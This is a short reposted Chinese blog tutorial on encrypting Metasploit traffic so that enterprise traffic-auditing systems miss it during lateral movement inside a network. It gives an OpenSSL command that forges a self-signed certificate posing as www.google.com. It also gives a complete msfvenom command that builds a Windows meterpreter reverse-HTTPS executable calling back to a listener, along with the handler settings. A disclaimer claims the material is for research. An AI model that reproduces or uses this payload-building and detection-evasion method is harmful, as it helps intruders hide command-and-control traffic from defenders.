为什么要加密
现在大部分企业在内网中都采用了流量审计服务,用来专门分析流量特征,如我们常用的msf和cs都已经被各大安全设备所标识,在用msf进行内网横向的时候很容易被检测出来。所以我们要对流量来绕过检测
OpenSSL
OpenSSL是一个开源项目。主要包括三个组件 :
OpenSSL 多功能的命令行工具
libcrypt 加密算法库
libssl 实现了ssl和tls的加密模块
kali中集成了该工具
常用命令:
-in filename 指定要加密的文件
-out filename 指定加密后存放的位置
-salt 盐值 插入随机数作为文件内容加密
-e 指定加密算法
-d 解密 指定算法
-a/-base64 base64编码
加密过程
OpenSSL req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" -keyout www.google.com.key -out www.google.com.crt
生产key和crt
然后合成pem证书
利用msfvenom生成exe
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.206.128 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o msf.exe
放入虚拟机中设置监听
设置监听的时候要选择
set handlersslcert: 设置处理程序时将使用的证书
set StagerVerifySSLCert: 设置接收到连接时执行SSL证书验证
运行上线
查看流量
原文始发于微信公众号(SecHub网络安全社区):MSF流量加密技术
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论